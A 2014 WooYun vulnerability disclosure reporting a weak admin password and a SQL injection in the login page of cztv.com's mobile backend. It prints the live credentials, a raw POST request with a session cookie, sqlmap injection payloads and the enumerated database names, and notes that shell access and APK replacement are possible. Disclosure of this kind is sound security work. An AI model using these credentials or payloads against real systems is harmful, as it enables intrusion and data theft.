当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052464

漏洞标题:新蓝网某分站sql注入及后台弱口令

相关厂商:cztv.com

漏洞作者: s4msung

提交时间:2014-03-03 10:15

修复时间:2014-04-17 10:15

公开时间:2014-04-17 10:15

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-03: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向核心白帽子及相关领域专家公开
2014-03-23: 细节向普通白帽子公开
2014-04-02: 细节向实习白帽子公开
2014-04-17: 细节向公众公开

简要描述:

好久提供漏洞了,来一发
1.弱口令
2.注入

详细说明:

1.http://m.cztv.com//mobiletv/login.php //浙江手机后台
admin 123
2.后台登录注入

POST /mobiletv/check_user.php HTTP/1.1
Host: m.cztv.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20121001 Firefox/8.0
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://m.cztv.com/mobiletv/login.php
Content-Length: 18
Cookie: _gscu_1136605835=922290556pd6j715; Hm_lvt_ebf8a8028c76b35add2bcc96bdb8ac4a=1392229440,1392229741,1392229743,1392229746; PHPSESSID=ug4v37i7v0e3ovpsk2t86lq5k4
Pragma: no-cache
Cache-Control: no-cache
user=admin&pass=aa


C:\Python26\sqlmap>sqlmap.py -r cztv.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:26:22
[20:26:22] [INFO] parsing HTTP request from 'cztv.txt'
[20:26:22] [INFO] resuming back-end DBMS 'mysql'
[20:26:22] [INFO] testing connection to the target url
[20:26:23] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=admin' AND 7523=7523 AND 'TKNW'='TKNW&pass=aa
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: user=admin' AND (SELECT 6853 FROM(SELECT COUNT(*),CONCAT(0x3a636569
3a,(SELECT (CASE WHEN (6853=6853) THEN 1 ELSE 0 END)),0x3a7879723a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pcsb'='pcsb&pass
=aa
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: user=admin' AND SLEEP(5) AND 'MWXA'='MWXA&pass=aa
---
[20:26:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0
[20:26:23] [INFO] fetching database names
[20:26:23] [INFO] heuristics detected web page charset 'ascii'
[20:26:23] [WARNING] reflective value(s) found and filtering out
[20:26:23] [INFO] the SQL query used returns 10 entries
[20:26:23] [INFO] retrieved: information_schema
[20:26:24] [INFO] retrieved: addressbook
[20:26:24] [INFO] retrieved: material
[20:26:24] [INFO] retrieved: mysql
[20:26:24] [INFO] retrieved: push
[20:26:25] [INFO] retrieved: statistics
[20:26:25] [INFO] retrieved: test
[20:26:25] [INFO] retrieved: wap
[20:26:25] [INFO] retrieved: wpdzd
[20:26:26] [INFO] retrieved: zgmsx
available databases [10]:
[*] addressbook
[*] information_schema
[*] material
[*] mysql
[*] push
[*] statistics
[*] test
[*] wap
[*] wpdzd
[*] zgmsx
[20:26:26] [INFO] fetched data logged to text files under 'C:\Python26\sqlmap\ou
tput\m.cztv.com'
[*] shutting down at 20:26:26
后台可shell 可替换官方apk。危害可想而知。
这个通过了再来一发。

漏洞证明:

4.jpg


3.jpg


修复方案:

1.改密码
2.过滤

版权声明:转载请注明来源 s4msung@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-03 10:45

厂商回复:

感谢白帽子

最新状态:

暂无